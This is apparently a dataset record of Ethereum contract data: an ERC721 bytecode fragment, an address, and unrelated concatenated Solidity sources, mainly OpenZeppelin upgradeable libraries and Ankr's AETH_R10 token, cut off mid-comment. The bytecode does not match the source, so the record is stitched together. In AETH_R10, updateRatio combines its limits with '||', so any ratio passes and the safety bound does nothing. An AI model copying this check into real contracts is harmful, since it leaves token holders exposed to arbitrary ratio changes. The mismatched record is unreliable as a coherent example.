20546001600160a01b0316611f295760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610b8e565b6000611f348361139c565b9050806001600160a01b0316846001600160a01b03161480611f6f5750836001600160a01b0316611f6484610b19565b6001600160a01b0316145b80611f9f57506001600160a01b0380821660009081526007602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611fba8261139c565b6001600160a01b0316146120225760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610b8e565b6001600160a01b0382166120845760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610b8e565b61208f8383836129e4565b61209a600082611e42565b6001600160a01b03831660009081526005602052604081208054600192906120c39084906134c1565b90915550506001600160a01b03821660009081526005602052604081208054600192906120f1908490613476565b909155505060008181526004602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60008281526020819052604090206001015461216f81335b6129ef565b610cc48383612717565b6001600160a01b03811633146121e95760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610b8e565b6114728282612a53565b60006117b1836001600160a01b038416612ab8565b600c5460ff166122515760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610b8e565b600c805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b60006122a68261139c565b90506122b4816000846129e4565b6122bf600083611e42565b6001600160a01b03811660009081526005602052604081208054600192906122e89084906134c1565b909155505060008281526004602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6001600160a01b0382166123985760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610b8e565b6000818152600460205260409020546001600160a01b0316156123fd5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610b8e565b612409600083836129e4565b6001600160a01b0382166000908152600560205260408120805460019290612432908490613476565b909155505060008181526004602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600f80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600c5460ff16156125285760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610b8e565b600c805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861227e3390565b6001600160a01b03166000908152601360205260409020805460ff19169055565b60006117b18383612bd5565b612595848484611fa7565b6125a184848484612c0d565b6119ce5760405162461bcd60e51b8152600401610b8e9061339e565b6060600e8054610a959061351b565b6060816125f157506040805180820190915260018152600360fc1b6020820152610a81565b8160005b811561261b578061260581613556565b91506126149050600a8361348e565b91506125f5565b60008167ffffffffffffffff81111561264457634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561266e576020820181803683370190505b5090505b8415611f9f576126836001836134c1565b9150612690600a86613571565b61269b906030613476565b60f81b8183815181106126be57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506126e0600a8661348e565b9450612672565b6000610a7e825490565b60008281526020819052604090206001015461270d813361216a565b610cc48383612a53565b61272182826117b8565b611472576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556127573390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008181526001830160205260408120546127e257508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f82565b506000610f82565b600060016127f784611532565b61280191906134c1565b600083815260096020526040902054909150808214612854576001600160a01b03841660009081526008602090815260408083208584528252808320548484528184208190558352600990915290208190555b5060009182526009602090815260408084208490556001600160a01b039094168352600881528383209183525290812055565b600a54600090612899906001906134c1565b6000838152600b6020526040812054600a80549394509092849081106128cf57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080600a83815481106128fe57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152600b9091526040808220849055858252812055600a80548061294457634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061296b83611532565b6001600160a01b039093166000908152600860209081526040808320868452825280832085905593825260099052919091209190915550565b60006001600160e01b031982166380ac58cd60e01b14806129d557506001600160e01b03198216635b5e139f60e01b145b80610a7e5750610a7e82612d0f565b610cc4838383611cee565b6129f982826117b8565b61147257612a11816001600160a01b03166014612d34565b612a1c836020612d34565b604051602001612a2d9291906132d9565b60408051601f198184030181529082905262461bcd60e51b8252610b8e9160040161338b565b612a5d82826117b8565b15611472576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60008181526001830160205260408120548015612bcb576000612adc6001836134c1565b8554909150600090612af0906001906134c1565b9050818114612b71576000866000018281548110612b1e57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080876000018481548110612b4f57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600188019052604090208390555b8554869080612b9057634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610f82565b6000915050610f82565b6000826000018281548110612bfa57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b60006001600160a01b0384163b1561136257604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612c5190339089908890889060040161334e565b602060405180830381600087803b158015612c6b57600080fd5b505af1925050508015612c9b575060408051601f3d908101601f19168201909252612c989181019061321f565b60015b612cf5573d808015612cc9576040519150601f19603f3d011682016040523d82523d6000602084013e612cce565b606091505b508051612ced5760405162461bcd60e51b8152600401610b8e9061339e565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611f9f565b60006001600160e01b03198216635a05180f60e01b1480610a7e5750610a7e82612f16565b60606000612d438360026134a2565b612d4e906002613476565b67ffffffffffffffff811115612d7457634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612d9e576020820181803683370190505b509050600360fc1b81600081518110612dc757634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110612e0457634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506000612e288460026134a2565b612e33906001613476565b90505b6001811115612ec7576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110612e7557634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110612e9957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93612ec081613504565b9050612e36565b5083156117b15760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610b8e565b60006001600160e01b03198216637965db0b60e01b1480610a7e57506301ffc9a760e01b6001600160e01b0319831614610a7e565b80356001600160a01b0381168114610a8157600080fd5b600060208284031215612f73578081fd5b6117b182612f4b565b60008060408385031215612f8e578081fd5b612f9783612f4b565b9150612fa560208401612f4b565b90509250929050565b600080600060608486031215612fc2578081fd5b612fcb84612f4b565b9250612fd960208501612f4b565b9150604084013590509250925092565b60008060008060808587031215612ffe578081fd5b61300785612f4b565b935061301560208601612f4b565b925060408501359150606085013567ffffffffffffffff80821115613038578283fd5b818701915087601f83011261304b578283fd5b81358181111561305d5761305d6135b1565b604051601f8201601f19908116603f01168101908382118183101715613085576130856135b1565b816040528281528a602084870101111561309d578586fd5b82602086016020830137918201602001949094529598949750929550505050565b600080604083850312156130d0578182fd5b6130d983612f4b565b915060208301356130e9816135c7565b809150509250929050565b60008060408385031215613106578182fd5b61310f83612f4b565b946020939093013593505050565b6000806020838503121561312f578182fd5b823567ffffffffffffffff80821115613146578384fd5b818501915085601f830112613159578384fd5b813581811115613167578485fd5b866020808302850101111561317a578485fd5b60209290920196919550909350505050565b60006020828403121561319d578081fd5b81516117b1816135c7565b6000602082840312156131b9578081fd5b5035919050565b600080604083850312156131d2578182fd5b82359150612fa560208401612f4b565b600080604083850312156131f4578182fd5b50508035926020909101359150565b600060208284031215613214578081fd5b81356117b1816135d5565b600060208284031215613230578081fd5b81516117b1816135d5565b60006020828403121561324c578081fd5b5051919050565b600080600060608486031215613267578081fd5b505081359360208301359350604090920135919050565b600081518084526132968160208601602086016134d8565b601f01601f19169290920160200192915050565b600083516132bc8184602088016134d8565b8351908301906132d08183602088016134d8565b01949350505050565b60007f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000825283516133118160178501602088016134d8565b7001034b99036b4b9b9b4b733903937b6329607d1b60179184019182015283516133428160288401602088016134d8565b01602801949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906133819083018461327e565b9695505050505050565b6000602082526117b1602083018461327e565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561348957613489613585565b500190565b60008261349d5761349d61359b565b500490565b60008160001904831182151516156134bc576134bc613585565b500290565b6000828210156134d3576134d3613585565b500390565b60005b838110156134f35781810151838201526020016134db565b838111156119ce5750506000910152565b60008161351357613513613585565b506000190190565b60028104600182168061352f57607f821691505b6020821081141561355057634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561356a5761356a613585565b5060010190565b6000826135805761358061359b565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b80151581146110e457600080fd5b6001600160e01b0319811681146110e457600080fdfea2646970667358221220e3f1d8dd6ff1a458e39da4a581448d93cbf399c015881040c059404eb77ba3e864736f6c63430008020033
[ 16, 5 ]
0xF1d67526833263Bb359A715e3E955bfF864390f6
pragma solidity ^0.6.11; abstract contract Lockable { mapping(address => bool) private _locks; modifier unlocked(address addr) { require(!_locks[addr], "Reentrancy protection"); _locks[addr] = true; _; _locks[addr] = false; } uint256[50] private __gap; } pragma solidity 0.6.11; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; contract Pausable is OwnableUpgradeSafe { mapping (bytes32 => bool) internal _paused; modifier whenNotPaused(bytes32 action) { require(!_paused[action], "This action currently paused"); _; } function togglePause(bytes32 action) public onlyOwner { _paused[action] = !_paused[action]; } function isPaused(bytes32 action) public view returns(bool) { return _paused[action]; } uint256[50] private __gap; } pragma solidity ^0.6.0; import "@openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.6.11; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "../lib/openzeppelin/ERC20UpgradeSafe.sol"; import "../lib/Lockable.sol"; import "../lib/Pausable.sol"; contract AETH_R10 is OwnableUpgradeSafe, ERC20UpgradeSafe, Lockable { using SafeMath for uint256; event RatioUpdate(uint256 newRatio); uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _globalPoolContract; // ratio should be base on 1 ether // if ratio is 0.9, this variable should be 9e17 uint256 private _ratio; modifier onlyOperator() { require(msg.sender == owner() || msg.sender == _operator, "Operator: not allowed"); _; } function initialize(string memory name, string memory symbol) public initializer { OwnableUpgradeSafe.__Ownable_init(); __ERC20_init(name, symbol); _totalSupply = 0; _ratio = 1e18; } function updateRatio(uint256 newRatio) public onlyOperator { // 0.001 * ratio uint256 threshold = _ratio.div(1000); require(newRatio < _ratio.add(threshold) || newRatio > _ratio.sub(threshold), "New ratio should be in limits"); _ratio = newRatio; emit RatioUpdate(_ratio); } function ratio() public view returns (uint256) { return _ratio; } function updateGlobalPoolContract(address globalPoolContract) external onlyOwner { _globalPoolContract = globalPoolContract; } function burn(address account, uint256 amount) external { require(msg.sender == address(_bscBridgeContract) || msg.sender == owner() || msg.sender == address(_globalPoolContract), 'Not allowed'); _burn(account, amount); } function mint(address account, uint256 amount) external returns(uint256 _amount) { require(msg.sender == address(_bscBridgeContract) || msg.sender == owner() || msg.sender == address(_globalPoolContract), 'Not allowed'); _mint(account, amount); } function symbol() public view override returns (string memory) { return _symbol; } function name() public view override returns (string memory) { return _name; } function setNewNameAndSymbol() public onlyOperator { _name = "Ankr Eth2 Reward Bearing Bond"; _symbol = "aETH"; } function changeOperator(address operator) public onlyOwner { _operator = operator; } function transfer(address recipient, uint256 amount) public whenNotPaused("transfer") virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } modifier whenNotPaused(bytes32 action) { require(!_paused[action], "This action currently paused"); _; } function togglePause(bytes32 action) public onlyOwner { _paused[action] = !_paused[action]; } function isPaused(bytes32 action) public view returns(bool) { return _paused[action]; } function setBscBridgeContract(address _bscBridge) public onlyOperator { _bscBridgeContract = _bscBridge; } uint256[50] private __gap; address private _operator; mapping (bytes32 => bool) internal _paused; address private _bscBridgeContract; } pragma solidity ^0.6.0; import "../Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity ^0.6.0; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an 